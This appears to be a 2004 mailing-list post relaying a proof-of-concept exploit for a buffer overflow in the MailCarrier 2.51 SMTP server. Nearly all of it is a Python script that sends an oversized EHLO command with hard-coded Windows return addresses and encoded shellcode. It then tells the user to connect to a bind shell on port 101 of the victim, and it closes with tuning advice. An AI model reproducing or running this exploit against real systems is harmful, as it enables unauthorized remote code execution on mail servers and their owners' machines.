MailCarrier 2.51 SMTP server Buffer Overflow [PoC included]

["Jérôme" ATHIAS <jerome.athias@xxxxxxxxxxxx>]

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THE POC :

#########################################################
# MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow     #
# Advanced, secure and easy to use FTP Server.              #
# 23 Oct 2004 - muts                                    #
#########################################################
# D:\BO>mailcarrier-2.5-EHLO.py                         #
#########################################################
# D:\data\tools>nc -v 192.168.1.32 101                          #
# localhost [127.0.0.1] 101 (hostname) open                     #
# Microsoft Windows 2000 [Version 5.00.2195]                #
# (C) Copyright 1985-2000 Microsoft Corp.                       #
# C:\WINNT\system32>                                                    #
#########################################################

import struct
import socket

print "\n\n###############################################"
print "\nMailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow"
print "\nFound & coded by muts [at] whitehat.co.il"
print "\nFor Educational Purposes Only!\n" 
print "\n\n###############################################"

def make_overflow_dummy(overflow_len, retaddr):
    return 'A' * overflow_len + struct.pack('<L', retaddr)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sc2 = "\xEB"
sc2 += 
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
sc2 += 
"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
sc2 += 
"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"
sc2 += 
"\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"
sc2 += 
"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"
sc2 += 
"\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"
sc2 += 
"\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"
sc2 += 
"\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"
sc2 += 
"\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"
sc2 += 
"\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"
sc2 += 
"\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"
sc2 += 
"\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"
sc2 += 
"\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"
sc2 += 
"\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"
sc2 += 
"\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"
sc2 += 
"\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"
sc2 += 
"\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"
sc2 += 
"\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"
sc2 += 
"\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"
sc2 += 
"\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"
sc2 += "\x58\x68\x61\x63\x6B\x90"

# Change RET address as need be.

#buffer = make_overflow_dummy(5093, 0x7c2ee21b) + '\x90' * 32 + sc2  # RET 
Win2000 SP4 ENG
buffer = make_overflow_dummy(5097, 0x7d17dd13) + '\x41' * 32 + sc2  #RET WinXP 
SP2 ENG

try:
        print "\nSending evil buffer..."
        s.connect(('127.0.0.1',25))
        s.send('EHLO ' + buffer + '\r\n')
        data = s.recv(1024)
        s.close()
        print "\nDone! Try connecting to port 101 on victim machine."
except:
        print "Could not connect to SMTP!"


INFOS :

 It works as is, but you might want to change the part after the EIP to NOPs in 
the following way...just for esthetics sake:

buffer = make_overflow_dummy(5097, 0x7d17dd13) + 'x90' * 32 + sc2 #RET WinXP 
SP2 ENG



Regards to muts & the whitehat's folks
Jerome ATHIAS